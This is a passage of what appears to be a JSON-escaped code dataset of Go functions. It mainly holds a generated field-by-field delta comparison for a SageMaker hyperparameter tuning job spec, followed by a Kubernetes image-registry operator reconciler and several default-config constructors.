a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath != *b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.CheckpointConfig.LocalPath\\\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.LocalPath)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.CheckpointConfig.S3URI\\\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != nil && b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI != *b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.CheckpointConfig.S3URI\\\", a.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI, b.ko.Spec.TrainingJobDefinition.CheckpointConfig.S3URI)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.DefinitionName\\\", a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.DefinitionName != nil && b.ko.Spec.TrainingJobDefinition.DefinitionName != nil {\\n\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.DefinitionName != *b.ko.Spec.TrainingJobDefinition.DefinitionName {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.DefinitionName\\\", a.ko.Spec.TrainingJobDefinition.DefinitionName, b.ko.Spec.TrainingJobDefinition.DefinitionName)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption\\\", a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != nil && b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != nil {\\n\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption != *b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption\\\", a.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption, b.ko.Spec.TrainingJobDefinition.EnableInterContainerTrafficEncryption)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.EnableManagedSpotTraining\\\", a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != nil && b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != nil {\\n\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining != *b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.EnableManagedSpotTraining\\\", a.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining, b.ko.Spec.TrainingJobDefinition.EnableManagedSpotTraining)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.EnableNetworkIsolation\\\", a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != nil && b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != nil {\\n\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation != *b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.EnableNetworkIsolation\\\", a.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation, b.ko.Spec.TrainingJobDefinition.EnableNetworkIsolation)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.HyperParameterRanges\\\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.HyperParameterRanges != nil && b.ko.Spec.TrainingJobDefinition.HyperParameterRanges != nil {\\n\\t\\t\\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges\\\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.CategoricalParameterRanges)\\n\\t\\t\\t}\\n\\t\\t\\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges\\\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.ContinuousParameterRanges)\\n\\t\\t\\t}\\n\\t\\t\\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges\\\", a.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges, b.ko.Spec.TrainingJobDefinition.HyperParameterRanges.IntegerParameterRanges)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinition.InputDataConfig, b.ko.Spec.TrainingJobDefinition.InputDataConfig) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.InputDataConfig\\\", a.ko.Spec.TrainingJobDefinition.InputDataConfig, b.ko.Spec.TrainingJobDefinition.InputDataConfig)\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig, b.ko.Spec.TrainingJobDefinition.OutputDataConfig) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.OutputDataConfig\\\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig, b.ko.Spec.TrainingJobDefinition.OutputDataConfig)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID\\\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID != *b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID\\\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.KMSKeyID)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath\\\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != nil && b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath != *b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath\\\", a.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath, b.ko.Spec.TrainingJobDefinition.OutputDataConfig.S3OutputPath)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig, b.ko.Spec.TrainingJobDefinition.ResourceConfig) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig, b.ko.Spec.TrainingJobDefinition.ResourceConfig)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig.InstanceCount\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig.InstanceCount\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceCount)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig.InstanceType\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig.InstanceType\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType, b.ko.Spec.TrainingJobDefinition.ResourceConfig.InstanceType)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeKMSKeyID)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != nil && b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB != *b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB\\\", a.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB, b.ko.Spec.TrainingJobDefinition.ResourceConfig.VolumeSizeInGB)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.RoleARN\\\", a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.RoleARN != nil && b.ko.Spec.TrainingJobDefinition.RoleARN != nil {\\n\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.RoleARN != *b.ko.Spec.TrainingJobDefinition.RoleARN {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.RoleARN\\\", a.ko.Spec.TrainingJobDefinition.RoleARN, b.ko.Spec.TrainingJobDefinition.RoleARN)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.StaticHyperParameters\\\", a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.StaticHyperParameters != nil && b.ko.Spec.TrainingJobDefinition.StaticHyperParameters != nil {\\n\\t\\t\\tif !ackcompare.MapStringStringPEqual(a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.StaticHyperParameters\\\", a.ko.Spec.TrainingJobDefinition.StaticHyperParameters, b.ko.Spec.TrainingJobDefinition.StaticHyperParameters)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition, b.ko.Spec.TrainingJobDefinition.StoppingCondition) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.StoppingCondition\\\", a.ko.Spec.TrainingJobDefinition.StoppingCondition, b.ko.Spec.TrainingJobDefinition.StoppingCondition)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds\\\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds != *b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds\\\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxRuntimeInSeconds)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds\\\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != nil && b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds != *b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds\\\", a.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds, b.ko.Spec.TrainingJobDefinition.StoppingCondition.MaxWaitTimeInSeconds)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective, b.ko.Spec.TrainingJobDefinition.TuningObjective) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.TuningObjective\\\", a.ko.Spec.TrainingJobDefinition.TuningObjective, b.ko.Spec.TrainingJobDefinition.TuningObjective)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective != nil {\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.TuningObjective.MetricName\\\", a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName != *b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.TuningObjective.MetricName\\\", a.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName, b.ko.Spec.TrainingJobDefinition.TuningObjective.MetricName)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.TuningObjective.Type\\\", a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type)\\n\\t\\t\\t} else if a.ko.Spec.TrainingJobDefinition.TuningObjective.Type != nil && b.ko.Spec.TrainingJobDefinition.TuningObjective.Type != nil {\\n\\t\\t\\t\\tif *a.ko.Spec.TrainingJobDefinition.TuningObjective.Type != *b.ko.Spec.TrainingJobDefinition.TuningObjective.Type {\\n\\t\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.TuningObjective.Type\\\", a.ko.Spec.TrainingJobDefinition.TuningObjective.Type, b.ko.Spec.TrainingJobDefinition.TuningObjective.Type)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.TrainingJobDefinition.VPCConfig, b.ko.Spec.TrainingJobDefinition.VPCConfig) {\\n\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.VPCConfig\\\", a.ko.Spec.TrainingJobDefinition.VPCConfig, b.ko.Spec.TrainingJobDefinition.VPCConfig)\\n\\t\\t} else if a.ko.Spec.TrainingJobDefinition.VPCConfig != nil && b.ko.Spec.TrainingJobDefinition.VPCConfig != nil {\\n\\t\\t\\tif !ackcompare.SliceStringPEqual(a.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs, b.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs\\\", a.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs, b.ko.Spec.TrainingJobDefinition.VPCConfig.SecurityGroupIDs)\\n\\t\\t\\t}\\n\\t\\t\\tif !ackcompare.SliceStringPEqual(a.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets, b.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets) {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinition.VPCConfig.Subnets\\\", a.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets, b.ko.Spec.TrainingJobDefinition.VPCConfig.Subnets)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tif !reflect.DeepEqual(a.ko.Spec.TrainingJobDefinitions, b.ko.Spec.TrainingJobDefinitions) {\\n\\t\\tdelta.Add(\\\"Spec.TrainingJobDefinitions\\\", a.ko.Spec.TrainingJobDefinitions, b.ko.Spec.TrainingJobDefinitions)\\n\\t}\\n\\tif ackcompare.HasNilDifference(a.ko.Spec.WarmStartConfig, b.ko.Spec.WarmStartConfig) {\\n\\t\\tdelta.Add(\\\"Spec.WarmStartConfig\\\", a.ko.Spec.WarmStartConfig, b.ko.Spec.WarmStartConfig)\\n\\t} else if a.ko.Spec.WarmStartConfig != nil && b.ko.Spec.WarmStartConfig != nil {\\n\\t\\tif !reflect.DeepEqual(a.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs, b.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs) {\\n\\t\\t\\tdelta.Add(\\\"Spec.WarmStartConfig.ParentHyperParameterTuningJobs\\\", a.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs, b.ko.Spec.WarmStartConfig.ParentHyperParameterTuningJobs)\\n\\t\\t}\\n\\t\\tif ackcompare.HasNilDifference(a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType) {\\n\\t\\t\\tdelta.Add(\\\"Spec.WarmStartConfig.WarmStartType\\\", a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType)\\n\\t\\t} else if a.ko.Spec.WarmStartConfig.WarmStartType != nil && b.ko.Spec.WarmStartConfig.WarmStartType != nil {\\n\\t\\t\\tif *a.ko.Spec.WarmStartConfig.WarmStartType != *b.ko.Spec.WarmStartConfig.WarmStartType {\\n\\t\\t\\t\\tdelta.Add(\\\"Spec.WarmStartConfig.WarmStartType\\\", a.ko.Spec.WarmStartConfig.WarmStartType, b.ko.Spec.WarmStartConfig.WarmStartType)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn delta\\n}\",\n \"func newReconciler(mgr manager.Manager) reconcile.Reconciler {\\n\\tr := &ReconcileImageRegistry{\\n\\t\\tclient: mgr.GetClient(),\\n\\t\\tscheme: mgr.GetScheme(),\\n\\t\\tcertManager: certs.NewCertManager(mgr.GetClient(), mgr.GetScheme(), certs.RootCASecretName()),\\n\\t\\tdnsZone: DNSZone(),\\n\\t\\timageAuth: os.Getenv(EnvImageAuth),\\n\\t\\timageNginx: os.Getenv(EnvImageNginx),\\n\\t\\timageRegistry: os.Getenv(EnvImageRegistry),\\n\\t}\\n\\tif r.imageAuth == \\\"\\\" {\\n\\t\\tr.imageAuth = \\\"mgoltzsche/image-registry-operator:latest-auth\\\"\\n\\t}\\n\\tif r.imageNginx == \\\"\\\" {\\n\\t\\tr.imageNginx = \\\"mgoltzsche/image-registry-operator:latest-nginx\\\"\\n\\t}\\n\\tif r.imageRegistry == \\\"\\\" {\\n\\t\\tr.imageRegistry = \\\"registry:2\\\"\\n\\t}\\n\\tr.reconcileTasks = []reconcileTask{\\n\\t\\tr.reconcileTokenCert,\\n\\t\\tr.reconcileTLSCert,\\n\\t\\tr.reconcileServiceAccount,\\n\\t\\tr.reconcileRole,\\n\\t\\tr.reconcileRoleBinding,\\n\\t\\tr.reconcileService,\\n\\t\\tr.reconcileStatefulSet,\\n\\t\\tr.reconcilePersistentVolumeClaim,\\n\\t}\\n\\treturn r\\n}\",\n \"func defaultConfig() interface{} {\\n\\treturn &conf{\\n\\t\\tPools: make(map[string]poolConfig),\\n\\t\\tLabelNode: false,\\n\\t\\tTaintNode: false,\\n\\t}\\n}\",\n \"func NewConfig() *Config {\\n\\treturn NewConfigWithID(operatorType)\\n}\",\n \"func NewConfig() *Config {\\n\\treturn NewConfigWithID(operatorType)\\n}\",\n \"func NewConfig() *Config {\\n\\treturn NewConfigWithID(operatorType)\\n}\",\n \"func NewConfig() *Config {\\n\\treturn NewConfigWithID(operatorType)\\n}\",\n \"func createDefaultConfig() component.Config {\\n\\treturn &Config{\\n\\t\\tProtocols: Protocols{\\n\\t\\t\\tGRPC: 